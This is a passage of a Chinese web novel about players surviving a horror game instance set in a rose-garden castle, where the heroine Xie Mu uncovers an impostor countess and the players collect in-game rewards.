俞正则拍了拍陈现的肩膀,“先回去。离开太久,不知道会不会出什么岔子。”
烛光摇曳,将三人的影子长长地拖在身后,最终与暗道深处的黑暗融为一体。
黑暗中,一道白光从苏迟身后钻出,顺着甬道一路飞去,最后变成一个小纸人落在一只手的手心里。
【已消耗b类道具:传音纸人,注意该道具为一次性道具,有效期一天】
“古堡里果然发生什么了啊?我说呢,怎么这个副本这么安分。”
谢幕站在暗道的出口,听着里面爬动的声音越来越明显,抬头看了看面前的镜子思索。
那扇紧锁的门静静矗立,仿佛一只沉默的眼睛,窥视着一切。
8. 花非花
在苏迟几人商量给夏炘也积累一些社会经验的时候,他正像睡美人一样躺在床上,身上的冷汗将床单都浸湿出一个印子,看起来确实很需要帮助。
朦胧间他睁开眼,隐隐看到一个人影站在自己的床头,他还以为是戴维,一个激灵眼神清明不少。
房间里现在只点了一盏孤灯,昏黄的光影氤氲,让那人的轮廓看不真切。
他挣扎着用尽最后一丝力气,撑起身子,用力眨了眨眼睛,再一看才发现,谢幕正坐在椅子上,抱着手看着他。
“醒了?”注意到他的视线,谢幕站起身来给他递了一杯热水,“好点没。”
夏炘也接了过来,却也不喝,只是小心地抬眼看着她。
谢幕挑了挑眉,心说这家伙还挺有警惕心,知道副本里面的东西不能随便吃,就是不知道脑子够不够好使,寻思着,她突然想到一个好玩的事情。
“夫人很担心你的身体,叫我来看看,你要没事的话我就走了。”说完,转身就走。
“等等!”夏炘也突然叫住了她,谢幕疑惑地看向他
只见青年在床上胡乱翻着身上的各个口袋不知道在找什么,指尖在布料里慌忙摸索,可越急越找不到,额头都泌出了细密的汗珠,翻了半天只捞出了空气。
谢幕见此情景勾起唇角一笑,“找不到就算了,等你找到在告诉我也不迟,说完砰一声关上了门。
夏炘也还想挽留,可人已经消失在视线里。
他从来没觉得自己这么蠢,自己怎么就非要拿出那个纸条呢?直接开口说话不好吗?嘴巴长着干啥!
夏炘也本来第一时间就想和谢幕分享自己找到的线索,可是一直没有找到机会,现在好不容易有了独处的时间,关键时候连纸条的边角都没摸到。
如果有机会的话,他一定要测一下自己的智商。
走廊里,谢幕眼里闪过狡黠的光芒,她不急不慢的从袖口掏出夏炘也一直在找的纸条。
有些时候信息不一定要通过交换才可以获得,还可以通过,抢。
刚刚她坐在夏炘也床边的时候,一眼就发现这家伙的口袋里藏着什么东西,便趁他昏睡的时候,抽了出来。
她打开纸条,所有的拼图最后终于拼到一起,一切疑惑在她脑海里清晰起来。
【恭喜玩家,副本探索度达到80%,解锁副本名称,月季古堡】
直到这个时候,整个副本背景才被冰冷的机械音缓缓道来。
【副本名称:月季古堡】
【副本评级:b(被划掉),未知】
【副本任务:三天内逃离古堡(被划掉),找出古堡的秘密】
【塞勒姆夫人本与丈夫生活在埃拉伽巴帝国,一年前出于某种原因离开公爵城堡,与世隔绝生活在静谧之森深处的废弃古堡中,并且原本节俭的夫人突然变得奢侈无度,每过七日都会举办大型的宴会,邀请周边贵族参加,每场宴会都盛况非凡,令人赞不绝口】
【现副本任务完成度50%】
【个人任务完成度35%】
【**任务完成度12%】
……
一长串的系统提示音叮叮咚咚响个不停,谢幕摆手让它打住示意自己知道了。
她叫来一个行色匆匆的女仆,轻轻在她耳边低语几句,对方立刻应下朝楼下走去。
顺便让我看看,你的戒备心到什么程度吧。
第二天一早,系统照旧颁布任务。
【请玩家在十五分钟内抵达厨房,进行当日任务】
“苏姐,”今天他们要处理的主要是一些蔬菜,看起来比昨天要正常的多,整体的氛围也变得没有昨天那么紧绷了,陈现那没心没肺的性格,一看处境没有那么危险了,人也大胆起来,手边还堆着一大堆蔬菜,却直接凑到苏迟耳边说起悄悄话。
“我觉得我们那个计划没有执行性啊,那个小弟弟神龙见首不见尾的,我看要不还是……”
话还没说完,门口突然出现了一个身影,苏迟眼前一亮,忙丢下陈现迎了上去。
“需要帮忙吗?”
夏炘也回过头来,手上端着一个碗,见到苏迟顺手递了过去。
“我是来还碗的,谢谢你们昨晚还专门为我熬粥。”说着,他的眼神在四周不断扫过,好像在寻找什么。
苏迟瞟了一眼陈现,眼神似乎在说,看,人这不自己送上门来了吗。
陈现小跑过来,“哎,你好你好我是陈现。”
夏炘也对这突如其来的自我介绍感觉有点莫名其妙,皱着眉头到,“有什么事吗?”
苏迟差点被气吐血了,接下来的发言更是让她想要分分钟钟掐死这个人机队友。
“我们想和你联手,我们强强联合一起揭开副本的秘密。”陈现避轻就重,言简意骇,语出惊人。
苏迟被雷得外焦里内,五雷轰顶,不能自已。
夏炘也的眼神在陈现和苏迟之间来回摆动了一下,随后陷入了沉思。
呵呵,他一定觉得我们是神经病吧。
“好,”出乎意料的是,青年平静的声音钻入他们的耳朵,似乎一切都在他的预料之中。“你们要怎么合作。”
?!
这句话带来的冲击,于苏迟而言不亚于陈现刚刚的惊世一语,她不由怀疑起,难道他真是内鬼?
这时,原本去取仓库里蔬菜的俞正则刚好回来,看到他们竟然已经搭上话了,顿时也凑了过来。
看见俞正则,夏炘也内心的猜测愈发肯定。
昨晚谢幕走后,不久就有女仆敲门,还端来一碗粥说是谢幕管家要求她熬的,让他喝完后记得明天早上把碗送回厨房。
他脑子一转,立刻明白过来这是一个委婉的邀请。
她是想要告诉自己什么吗?本来他刚来到厨房门口没看见谢幕的身影,还以为是自己想多了,可直到陈现如此直接地说出了他们的目的,他顿时明白了。
恐怕谢幕早就和这几人有了联系,难道他是想邀请自己一起行动,既然这样,就没必要
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再犹豫下去了,他当即答应了几人的要求,几人走出厨房找了走廊的一个僻静处详谈。
众人的精神本就萎靡,手上还有一堆事情,根本没功夫搭理他们,除了……那两个男人。
“大哥!”矮小男人用下巴点了点几人离开的方向,声音压的极低。
被叫做大哥的男人顺着看过去,看着夏炘也的身影眯了眯眼睛,指尖摩挲着刀柄。
“李三,你觉得那个男孩是老玩家不?”
被叫做李三的男人挠了挠头,“不知道大哥,不过他感觉没啥特别的呀。”
老大陷入了思考,随后眼神阴沉下来,手中的刀狠狠将眼前的白菜砍成两半,周围的人本就因为昨天的事情十分惧怕他们,听到这声音,顿时条件反射离他们更远了些。
不过两人倒是无所谓,这样刚好给他们提供了一个更好的交流机会。
”不管他是不是,他恐怕在这个副本里扮演的角色非比寻常,这个副本开头,系统没有像往常那样交代副本的相关信息,恐怕玩家探索也是隐藏任务之一,而且就这个副本目前的表现来看,说不准是一个难度较低,不完整的剧情扮演类副本,死亡率应该不会太高,我们想要拿到更多更好的奖励,恐怕得抓紧时间了。”
“所以……我们不找谢幕合作了?老大你不是说……”
老大比了一个嘘,心说难道看不出来人家根本不屑于跟我们合作吗?话音刚落,他朝李三使了个眼色,二人假装去上厕所,实则偷偷跟在了苏迟几人身后,躲到走廊的拐角处,屏气凝神偷听。
另一边,花园里,莱昂内尔热情的地朝不远处的身影打了个招呼。
“嘿,亲爱的,我听说昨晚你去见那个可爱的小子了。”他站起身来,绅士地为谢幕拉开一把椅子,“怎么样?我的眼光不错吧。”
谢幕礼貌的笑了笑,没有坐下,环顾了一下四周的花海,才不紧不慢地说道,“一般。”
莱昂内尔表情一僵,“一般?亲爱的可别开玩笑。”
“二般。”谢幕又说到,莱昂内尔彻底不吭声了。
“你知道为什么伯爵夫人喜欢月季吗?”谢幕蹲下来细细打量着面前的花丛,说来也奇怪,月季一般是不长刺的,可是这些月季上却布满了黑色的尖刺,枝干也要更细一点。
“塞勒姆夫人出身是埃拉伽巴的贵族,喜欢花不是很正常吗?”
谢幕偏过头去,她能明显感受到对方的心情似乎有点不大美丽,“可为什么偏偏是月季呢?这一片花海,全是月季。”
一声嗤笑传来,“亲爱的,我说过,我的眼光一直很好,这分明是蔷薇,您怎么会对着蔷薇说月季呢?”
说完他也蹲了下来,轻轻嗅了一口,原本摆好的夸张陶醉表情一下子静止了,表情一言难尽。
谢幕直起身来拍拍他的肩膀,“亲爱的莱昂内尔先生,作为哑石家族的掌门人,以后可得小心啊。”
说完,自顾自朝花海的更深处走去。
月季有香,蔷薇无香。
9. 种疑
“炘也,相信你也看到我们的诚意了,我们是真心想要和你合作的。”苏迟目光灼灼,紧盯着眼前的青年。
她向他分析了一下现在的处境,还给他制造焦虑,渲染危机,告诉眼前的小家伙如果不向外寻求突破,那么就只能被困在他人浇筑的牢笼里,再也得不到自由。苏迟想过对方会慌乱的不知所措,会崩溃的大叫出声,无论出现什么情况,她都会面带微笑,细心安抚让对方彻底信任他。
没然而,夏炘也出乎意料得十分平静。
毕竟早在第一晚的时候他就已经推理出了大概,他现在想知道的,只不过是自己究竟该怎么通关而已,而眼前的三人,到目前为止,似乎并没有什么对自己有帮助的信息。
他们真的是谢幕派来的吗?
怀疑像是细微的尖刺,悄无声息地扎了一下。从头到尾,对方都是在说和自己合作对彼此多么多么有力,却完全没有提到谢幕。
青年眼中的怀疑转瞬即逝,但苏迟却敏锐地察觉到了这一点。
哪里出了纰漏?
她思绪飞转,整个接触过程,最诡异的应该就是对方干脆地答应而后又表现的不信任,中间一定缺少了什么关键的衔接点,或许一开始,对方想要合作的另有其人,而自己只是碰巧了,那他原本要见的人是谁?
他说自己是来还碗的,是因为有人为他专门准备了粥,整个古堡能够命令女仆准备粥的只有夫人,戴维,但是他们的阵营和立场应该和他们玩家天然对立,夏炘也就算再傻听完自己的分析应该也能反应过来,那还有谁呢?
等等!
电光火石间,一个念头闪过。
能自由差遣女仆,身份特殊又行动莫测的,还有一个人。
“如果我们合作,公爵夫人那边,有谢幕来对接,我们负责底层,而你,则负责宾客动向,这样,我们才可以完整的看清这个古堡的真面目。”苏迟抬起下巴,一副志在必得的说道。
那就是古堡的管家,谢幕。
夏炘也眼前一亮,紧绷的肩膀微不可查的松弛下来。
果然是她。
一边的陈现一脸懵逼,啥?我们啥时候和谢幕也有联系了,昨晚不还讲……
俞正则适时捂住了陈现想要开口的嘴,好在他们站在夏炘也背后,青年没有察觉这微小的骚动,不然他又得起疑心了。
“好,那我便先说说我的发现吧。”苏迟一派大方的模样,说出的话却差点让陈现惊掉了下巴,“我们在古堡的地下,发现了一条暗道。”
夏炘也的表情没有太大的波动。
“暗道的尽头,是一扇贝铁链锁死的门,我们晚上的时候可以带你过去,”苏迟压低声音,好像这是什么天大的秘密,“谢幕透露,只要找到了钥匙,我们就可以穿过那扇门逃离古堡,任务也算完成了。”
陈现被捂住的嘴巴吓成了一个“o”,不是姐姐我们剧本里有这台词吗?
“你不是说,每个角色对应的任务不同吗?”夏炘也再度开口,目光审慎,“或许那只是你们的生路。”
啧,男人多疑可不是个好习惯,苏迟暗骂。
“你想岔了,系统最初明示的任务就是逃离任务,我的意思是,逃离的方式因人而异,但是那扇门。”苏迟凑近他的耳边,气息拂过夏炘也耳畔,青年皱着眉缩了缩脖子“是个例外,一条专门为‘食材’准备的,后路。”
她将青年的动作收入眼底,心底翻了一个白眼,但还是继续道:“公爵夫人每次宴会都是以人为菜,我们之间处理的,保不齐就是上一批的临时工,你觉得,他们在彻底绝望前,会怎么做?”
“你是说,那暗道是前人留下的?”
“不是我,而是谢幕的推测,”苏迟将那个名字咬的极为清晰,“那个暗道挖掘粗糙,显然不是古堡内部的产物,而且谢幕似乎用了什么方法确认过,门后就是通往外面的道路,现在,只缺一把钥匙。”
青年眼里的坚冰终于慢慢化去。苏迟明白,对方已将信任,或者说对谢幕的信任放到了他们身上。
谢幕,苏迟心里闪过她的名字,又看了看眼前的青年。
“所以你们想让我和你们一起找钥匙?”
“对,我们分头行动,有什么特殊情况都互相通气,一定可以的。”苏迟握拳展现出恰到好处地振奋。
其实最重要的是你能情报接触到的情报啦。
夏炘也点点头,动作里带上一种达成共识的郑重,“既然是合作,我也要表达自己的诚意。”
“我会转告谢幕的。”苏迟补充道。
青年露出了一个灿烂的微笑,阳光打在他有些稚气的脸上,有种毫无阴霾的干净。
“花园里的月季,”夏炘也微微收敛笑意,正色道,“是塞勒姆夫人迁居到这个古堡之后才命人种下的,听说当时种植的时候似乎发生了一些不愉快的事情,仆役们都很不理解夫人为什么执意要这么做。而且夫人每周都会举办宴会,每次都会招募临时工,结合你刚刚说的……”夏炘也将自己最近收集到的信息整合了一下,尾尾道出。
可话还没说完,一旁的陈现听到花园二字,突然挣脱了俞正则,冲上前来说到,“我知道啊,我知道花园里发生里什么。”
两人的目光看向他。
“花园里有鬼啊,俞哥也知道!”他将俞正则拉上前来,绘声绘色描述了自己前晚的经历。
双面人,问题猜猜看?你看我信不,苏迟显然是不会这样就相信的。
于是他们与看向俞正则,对方面色凝重的点点头,看来是真的了。
”等等,”苏迟捕捉到了一个矛盾,“你说是蔷薇,你又说是月季,你俩谁说的是真的?”苏迟的手指在夏炘也和陈现之间比划着。
“我说苏姐这重要吗?”陈现狠狠拍了拍自己的大腿,“我明白了!肯定是当年他们建花园的时候招惹了地下那些不干净的东西,所以后面夫人才会天天办宴会吃那种东西,这是在献祭啊,双轨祭,是这个名不?这是在让地下的妖精安息……”
俞正则这次没有捂住他的嘴,反而突然抬手,示意所有
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人噤声。他眼神锐利,缓缓指向众人身后。
有人在偷听。
众人默契的同时收声,屏息凝神。
走廊深处,一片死寂。但远处壁灯投来的灯光,在地上拖出一道微微晃动的,不属于他们中任何人的影子。
夏炘也眼尾余光向后扫去,走廊拐角的阴影里,两道模糊的身影正蜷缩着,姿态鬼祟。
苏迟和俞正则对视了一眼,瞬息之间,彼此了然。
npc无需这样藏头漏尾,如果他们发现异常一定会立刻制止而不是在这里偷听。
所以只能是玩家,而玩家里最不安分的,除了他们,就只有那两个男人了。
“他们刚来。”俞正则用口型说道。
苏迟眼睛一转,突然想到一个主意,于是拔高了音量,意味深沉到,“所以,秘密一定藏在花园里,炘也,今晚你看能不能想办法溜出来,我想,逃出去的线索,八成就是在花园里。”
夏炘也心领神会,点点头,立刻添了把火,“好,我先前也经常留意,戴维他们总往花园去,那里肯定藏着些什么。”
戏已做足,众人也不再停多言,神色如常各自散去,仿佛只是一场寻常交谈的终结。
既然花园里“不干净”,就让有本事的“勇士”先去探探路吧。
经过转角时,那里早已空无一人,只余一片寂静,但这也是意料之中。
夏炘也今天也接到任务,需要陪同莱昂内尔一起去后院钓鱼,便和三人告别,朝反方向走去。苏迟三人也没有逗留,立马回去装作没事人一样投入工作。
回去的过程中,陈现向苏迟比了一个大大的赞,小说恭维道,“苏姐真牛!”女人冷轻哼一声,唇角微勾,矜持中带着几分得意,心说也不看看你苏姐是什么人物。
走廊的阴影里,两个身影如地鼠般缓缓“升”了起来,垫着脚走了出来。
”老大,我们今晚,真要去花园吗?”张三缩着脖子,他是不想去冒险的,他们昨天花了太多道具,他实在肉疼实在,也经不起折腾了。
老大低头不语,面色在晦暗中看不清,李三又焦急地说道,“古堡里可是有内部检查的,不是老大你说这算是将古堡内画作了安全区,只要点着灯就不会有事,可要是我们到了外边怎么办?”
李三越说越激动,他是个贪生怕死的人,他不想冒险,但老大不一样。
老大一把揽过他的肩膀,在他耳边低语道,“李三,别忘了我是怎么说的,这个副本恐怕有副本探索度这种隐形任务,你应该听说过隐形任务的奖励有多么丰厚吧,这次副本杀机太小了,我们又没带那么多范围杀伤的道具,很难将存活率控制到60%一下,只能往隐形任务奖励拼一把了。”
说完他揪了揪李三的耳朵,“跟我干,就别怕死,少不了你的好处。”
说完他朝厨房走去,李三大口喘着气却不敢回答,但看到自己的主心骨走了,连忙连滚带爬追了上去。
“老,老大等等我!”
想必今晚,注定无比精彩。
10. 蔷薇印
“宴会?”夏炘也疑惑地看向戴维。
“是的先生,今晚的宴会已经准备就绪。”戴维躬身应着,唇角的笑意依旧温和,眼底没有半分温度。
“宴会不是明天吗?”他脱口而出,不安的情绪疯狂生长。
思绪越来越乱,那些维和的细节不断翻涌,他总觉得事情正在往失控的方向发展。
戴维脸上的笑意加深了几分,“先生记错了吧。”
“夫人的花园打理的是真好,”夏炘也状似无意地逆转话锋,“月季这种花,朦胧月色,花如其名,夜晚总是要比白天更加艳丽。也不知道能不能劳烦您今晚带我去赏花呢?”他还记得,戴维告诉自己,夜晚不可以随便出门,如果要出去,一定要有他陪同。
“先生说笑了,自然是可以的。”戴维带他一路从后院走到古堡的门口。
暮色四合,庄园的铁艺大门缓缓敞开,一辆接一辆的马车,在清脆的马蹄声中驶进,最后停在了两边昏黄的煤气灯下。车厢的玻璃窗后,隐约可见盛装的宾客身影,或许是因为光线太过昏暗,夏炘也越走越近,却还是看不清他们具体的面容。
他突然想起了昨天的影子客人,他们的身影和眼前的宾客意外的重叠。
碎石铺就的主道尽头,这座古堡已然灯火通明,静静等待着远道而来的人,投入他的怀抱,温柔的灯光混合着乐声,自每一扇长窗中流淌而出。
依旧是昨天的大厅,昨天的长桌,一切熟悉的令人心慌。
巨大的水晶灯折射出钻石般璀璨的光芒,将整个宴会照得亮如白昼,在大理石板上洒了一层碎金。周围隐隐有各种香水混杂在一起的奇异香味飘来,以及蜡烛燃烧时特有的味道,熏得他头有些晕。
突然有什么东西挠了挠他的背,他转过身去。
一个全身黑色的女人正对着他,巨大的帽檐压的很低,叫人看不清她的面容,但夏炘也能感觉到一道目光,正好奇地打量着他。
而谢幕则端着一杯红酒静静地站在女人的身旁。
“便宜你了。”谢幕突然莫名开口,声音好像隔着一层水雾,夏炘也脑子晕乎乎的,只能依稀听到几个字节,不自觉地低下头,凑到她嘴边想要听的更清楚。
却只听到咯咯的笑声,以及……
叮咚——巨大的提示音震得夏炘也本来就不清醒的脑子嗡嗡作响。
【副本结束】
夏炘也已是彻底沉下去的前一秒,他只看到谢幕微微勾起的唇角。
“噢,这个小朋友,似乎很爱睡觉。”不知道是谁说了一句,周围的影子宾客被吸引了过来,将倒在地上的夏炘也轻飘飘的围成了一个圈,从上面看去,像是一个巨大的花圈。
“莱昂内尔迫不及待,原来是……”
“宴会就这样取消了吗?”
有人问道,环顾四周,都看不到塞勒姆夫人的身影,再抬头,发现夫人此刻站在二楼向下看,脸色隐在阴影里,看不清深情。
顺着塞勒姆夫人看的方向,所有人的目光看向谢幕,整个宴会厅都陷入了死一般的寂静。
“晚上好。”谢幕举起酒杯朝那位夫人遥遥敬了一杯。
塞勒姆冷哼一声,转身就走。
【恭喜玩家成功揭开古堡的秘密】
【副本探索96%】
【副本存活率67%,获得额外奖励】
【恭喜玩家……】
周遭的一切景象随着系统的播报声像潮水般褪去,谢幕站在原地,指尖依旧捏着那杯红酒,的最后一句话。
【地球重启暂停,当前进度59%】
另一边,苏迟趴在厨房的水槽边,吐了个昏天黑地,绿色的胆汁混着不知名的絮状物,最后被一股脑冲进下水道。她最近几天几乎什么都没吃,发放的员工餐都是她拳头大小的面包,又黑又硬,而且在知道自己的结局可能是被作为食材后,她就格外小心副本里的食物和水,但现在看来他们身体上的变化,和这些可能关系不大。
脑子还在疯狂运转,冷汗顺着额头往下淌,她有一种隐隐的预感,或许……他们根本撑不到明天宴会前。
就在这时,系统的播报声传来,眼前闪过一行醒目的end的字样,她整个人都懵了,水龙头的还在哗哗往下淌,溅湿了她的衣袖,她却浑然不觉。
他们还什么都没干呢?甚至连花园都没探索,副本怎么就结束了。
窗外已经擦黑,难道说那两个家伙真在花园里发现什么,触发副本结局了?
不对吧,这不对吧,他们这是躺赢了吗?
苏迟猛地回过神,下意识向窗外看去,发现不远处的森林正在像出现故障的电子屏幕一样疯狂闪烁,并且慢慢朝古堡的正中心锁进,像是要将整座古堡彻底吞噬。
【副本强制结算中,倒计时60s……】
【计时开始】
苏迟不再迟疑,拔腿冲了出去,几乎是踉跄着冲了出去。走廊的窗户上一道道鬼影闪过,好像是古堡中的厉鬼不甘心放她离开,想要挣脱桎梏将他拖回——那个暗道,可如果细细看去,便会发现那只是她自己慌乱的残影,被灯光拉的扭曲变形。
“一切都结束了,该坐下来休息一下了……”似乎有人在她耳边吹气,“何必关心这些没有意义的东西,活下去不就好了吗?”
她还看到了自己遇到的那个鬼影,她的手指指向地下的暗道下方,可她的目的地这次不在哪里。无数张模糊的面孔,他们像走马灯一样,不断在她眼前飘过,说着莫名其妙的话。
苏迟加快了脚步,将那个声音甩在了身后。
【32……】倒计时还在继续。
她连滚带爬,一股脑扎进了花园里,身上被刺刮出许多个血口。
花园里空无一人,花丛在灯光的辉映下,自顾自地绽放,等副本结束后,他们灿烂依旧。
苏迟不死心,继续朝花丛的深处奔去。
突然她脚下一软,摔倒在地,等她连忙爬起抹掉脸上的泥后,实视线刚刚清晰,便僵在了原地。
她的脚边,躺着两具冰冷的尸体,是老大和李三,他们终究没有通关。
苏迟的心跳慢了半拍,但还是手脚利索地迅速扒开老大的衣领,一道狰狞的利器割开的血口赫然出现在眼前,血液已经凝固了,显然两人不是刚死的。
【倒计时结束,恭喜各位玩家成功存活】
她站起身来,周围的景色彻底模糊,仿佛蒙上了厚重的白布让人永远看不清,所有的光影,色彩,声音慢慢消散。
为什么?
这个问题之后很久,都笼罩在她的心口。
时针向后拨转,一切回到起点,回到宴会尚未开始的时候。
“夫人安。”谢幕拉开椅子坐在了塞勒姆夫人对面,动作从容,正如第一次他们见面那样。
女人抬起手,扶了扶鼻梁上的金丝眼镜,手上的血鸽钻戒泛着冷光,“那个孩子呢?”
“您昨晚不是见过他了吗?我以为你已经确定好了。”
塞勒姆夫人眯了眯眼睛,“我记得我们的交易里写的很清楚,在此期间我虽然给你最大的自由空间,但是必须无条件服从我的命令。”
谢幕撑起下巴,语气里带着一些玩味,“可是与我做交易的
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是——塞勒姆夫人,埃拉伽巴最古老的贵族之一,罗斯柴尔德家族的成员。”她的目光扫过面前这人粗大肿胀的指关节。
这种因为常年干重活,年老之后关节积水出现的关节炎症,出现在一个养尊处优的贵族身上似乎有点格格不入。
塞勒姆“夫人”手狠狠拍在了桌面上,愤怒的看向面前这个看起来乖巧的家伙。
“如果你不愿继续合作,请将信件归还后离开。”
谢幕抱手看着面前的女人,发出一声闷响,她的眼里此刻充满被戏耍的愤怒,但更多的,是一种恐惧。谢幕坚信自己不会看错,她太熟悉那种情绪了。
“我在古堡的地下,找到了,一具女尸。”
“小姐是在和我说笑吗?”女人嘲弄的看向谢幕,“难不成你不知道这座古堡为什么坐落在静谧之森?如果不是你我的交易,献祭仪式也不必集中在明天。”她的目光漏出一丝猩红的光芒。
“在这里,没有尸体,才是不正常的。”
谢幕没有接话,女人大笑起来,完全没有发现自己已经失态了,早已没有了贵族的半分优雅。
“莱昂内尔告诉我说,很多年前,他曾卖给了塞勒姆夫人身边的一个女仆一件东西……”谢幕突然开口,打断了女人的笑声,在女人眼里,此刻面前的人此刻像是一条毒蛇,正吐着信子要将她吞入腹中。”
“据说那件东西,有办法改变一个人的容貌。”
女人的笑容戛然而止,脸上的血色小时代进,她瘫坐在椅子上,瞳孔止不住的地震。
“不过他总是这样,吹嘘自己的商品多么多么厉害。”
一丝微弱的光芒从女人眼里重新闪过。
“所以我取了一截那具女尸的指骨,交给塞勒姆夫人的姑姑了,您记得吧,今晚夫人的姑姑也来了。”
窗外突然席卷而来一阵狂风,一屋灯火骤然熄灭,只有一片月光,将女人暴露在黑暗中。
“说吧,你想要什么?”良久,她颤抖着声音开口道。
“我只想要一个真相。”
“哼,”女人冷冷瞧向那个隐蔽在暗处的家伙,“你自己难道不心知肚明,我能活到现在,就是因为这里根本没有所谓的真相。”
那些无人在意的过往,那些被刻意掩埋的的秘密,时隔这么多年,在无人知晓,也在无人关心。
谢幕沉默片刻,但也好像在意料之中,缓缓开口,“我会帮你将这封信送达,在我抵达埃拉伽巴的都城时,但你要为我写一封信。”
女人没有多说,颤抖着手掏出信纸和羽毛笔。
“我要前往寂雪洲的深处。”
女人掀起眼皮,看了谢幕一眼,轻哼一声后利索的写好信,最后在信的封口处,盖上了属于罗斯柴尔德家族的徽印——蔷薇。
寂雪洲是罗斯柴尔德家族的封地之一,也是真正的塞勒姆夫人的故乡。
“我猜,你那么笃定,还因为花园里的……”
”月季。”谢幕抢答道,“我想不出一个以蔷薇为家徽的贵族,怎么会种上与自己家族花朵相似,却被贵族视为卑贱之花的月季。”
“卑贱之花?”女人自嘲的笑了笑,“说不准,我对蔷薇过敏呢?”
系统的提示音,压过了女人最后一句话。
【探索度96%,达到通关条件,是否立刻脱离副本?】
【否】
【玩家选择否,鉴于副本出现关键npc缺失等错误,副本将在半小时后强制关闭】
【当前玩家存活率78%,达成特殊条件】
78%吗?还有一点下降空间啊。
11. 涉江
一股窒息感传来,苏迟好像坠入幽深的海底,咸涩的海水直往她的嘴巴里钻。
“啊!”她不会游泳,只能四肢并用在水中拼命扒拉,连吐了好几个泡泡,这才浮出水面。
一道金光破开,恍的她眼睛眯了眯,这时一股大力从背后传来。
”苏姐!”陈现的声音让苏迟的头好痛,“太好了,我们都还活着。”
陈现将人转了个圈抱在了怀里,巨大的冲力一下子让苏迟肺里刚刚不小心喝进去的水都吐了出来。
原来刚刚差点溺死自己的,竟然只是一个齐腰深的小水塘。
一转头发现谢幕就在不远处,她的面前,飘着一具“尸体”。
苏迟一把推开他,心说其实自己不是很好。蹚水到了谢幕面前,对方却似乎对她没兴趣,专心地看着面前的东西,再一看,竟然是夏炘也。
死了?
这时,似乎是想要回答她心中的疑惑,青年的眼皮动了动。
谢幕见状叹息一声,随后揪着夏炘也的衣领朝岸边走去。
“喂!”苏迟想叫住她,可对方好像没有听到一般自顾自往前走。
这时一个人影冲了出去,追着谢幕而去。
“妹妹!”陈现自来熟的扛起夏炘也的一只胳膊抗在了肩膀上,“你一个人肯定会累坏的,让我来帮你吧!”
谢幕抬头看向他,在她的刻板影响里,应该看到一张假装热心,实则眼神里闪耀着贪婪的丑恶嘴脸。
没想到,看到了一张满脸谄媚,眼神里更是充满了大佬求带的炙热目光,丝毫不掩饰。
她的表情有点绷不住,”不用。”想要把人拽过来,使劲,对方就使更大的劲。
画面诡异的沉默,直到副本结算的声音响起。
【恭喜玩家“谢幕副本探索度同期最高】
【古堡秘密探索度同期最高】
【解锁隐藏剧情并完成隐藏任务】
【综合评价a】
【优先对玩家“谢幕”分发副本奖励】
接下来的播报只有谢幕自己能听到。
【玩家筹码+15*2*2(经由特殊效果加成)】
【恭喜玩家获得a级特殊道具:塞勒姆夫人的引荐信,可以指定前往寂雪洲区域的副本】
【b级道具:雾之餐桌,如果它是雾之斗篷,那你可以披上它让别人找不到你,可惜它是餐桌,只能披在没有生命的东西上让你找不到】
【c级道具:戴维的“祝福”,您给戴维留下了深刻的映像,他希望你以后永远找不到工作……】
?
谢幕暗自庆幸还好别人听不到,其实这是系统的一贯风格了,所以她并不是很意外,相反她很期待别人会拿到什么,毕竟作为评分最高的玩家,她拿到的最好的奖励都是这样的,那其他人估计也好不到哪里去。
果然,苏迟脸色一变。
【玩家苏迟,综合评价a】
【玩家筹码+10*2】
一个圆形的陶瓷质地的东西落入苏迟手中,一张没有五官的的面孔雕刻在上面。
【恭喜玩家获得b级道具:会放电影的镜子,从不科学角度讲,不能让凶案发生在镜子前,因为镜子会记住当时的情景,使用镜子后,可以看到过去一段令镜子映像深刻的记忆,时效10s,当然,以前看过的恐怖片太吓人镜子也会记住的ovo!】
【e级道具:灯,嗯一盏不会被吹灭的灯】
随后是俞正则,夏炘也,陈现……
【介于副本出现不可抗力bug,决定给通关玩家进行补偿】
【双倍筹码卡,时效三个副本,从该副本开始自动开始使用】
【请各位玩家再接再厉,争取地球早日重启】
【目前进度59%】
……
水面的上空出现一个个五颜六色的光球,朝不同的方向飞去,直到全部消失。
谢幕突然感觉手上原本提着的东西被抬高了,转头一看,苏迟扛起了另一条胳膊,和陈现一左一右扛着夏炘也笑着跟着她。
看她回头,陈现还比了一个大大的微笑,“放心吧妹妹!这种小事就交给我们吧!”
苏迟也不甘示弱,她现在算是明白了,刚刚系统说的副本bug,以及全篇下来都没有提到的逃离古堡这一通关条件,恐怕这副本根本没有办法像系统说的那样通关,真正的通关方法,恐怕和谢幕达成的高探索度和剧情解锁度有关,。虽然因为身份的不同所获得的信息也会有区别,可是……你不得不佩服。
也是苏迟没有上帝视角,不然她要是知道谢幕获得这些信息的方法都是通过偷和抢,不然她又要打开新世界的大门了。
介于面前这人超高的实力,又有陈现在前,苏迟毫不犹豫紧随其后,势必要抱上这个大腿不可。
谢幕显然不是很想搭理他们,一个用力想把夏炘也抽出来,结果一拉,哎竟然一点没动,苏迟和陈现使出了全部力气,脸上的青筋都冒出来了,这是死都不愿撒手了。
但女孩岂是吃素的,突然一个放手,两个人就摔倒在地,随后她在此拎起夏炘也的衣服,对着他们使了个眼色警告他们。
没想到苏迟竟然没有因此退缩,一个箭步冲上前,“洗衣做饭,砍柴烧水缝补衣物样样在行,”她说着栖身而至,打量了一下谢幕的手,随后从怀里掏出一个化妆袋!
摊牌了,其实她是一名资深美甲师,帮贴穿戴甲只需要七秒钟!
只见她两只手上下翻飞,这次,只用时五秒,谢幕的一只手上就贴好了小众暗黑系□□千金风美甲。
谢幕眼前一亮。
“姐姐很乐意,每过一个副本,为你换一个美甲款式。”说着手中的美甲大全图册刷刷翻过,各种玲琅满目的款式刺激着眼前这个,正是爱美的年纪的女孩子的心。
“好!”谢幕二话不说,拉着苏迟就要往外走,她已经迫不及待想要看看两只手的上手效果了,而且苏迟还告诉她。
“我可以做的比穿戴甲更好看,到时候你握刀的时候也不用担心掉下来……”
还有比这更完美的吗?
“等等!”一声大喊把谢幕的头颅掰了
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回来。
只听一声厉风刮过,几缕发丝掉了下来,谢幕一看这不是自己的头发吗,正要发难。
一面镜子出现在她眼前。
“从看到你的第一眼起,我就知道这款反重力边缘高层次发型非常适合你。”陈现对着面前的女孩wink了一下,“妹妹,我洗剪吹烫染样样精通,可不可以给我个机会让我成为你的专属发型师啊。”
苏迟差点吐出来。
女孩有些惊讶的看着镜子里花里胡哨的头发,有些不知所措,她之前都是留一个短发学生头,长大之后也只是放任头发自己生长,太长了就一剪刀切掉,那里经受过这种诱惑。
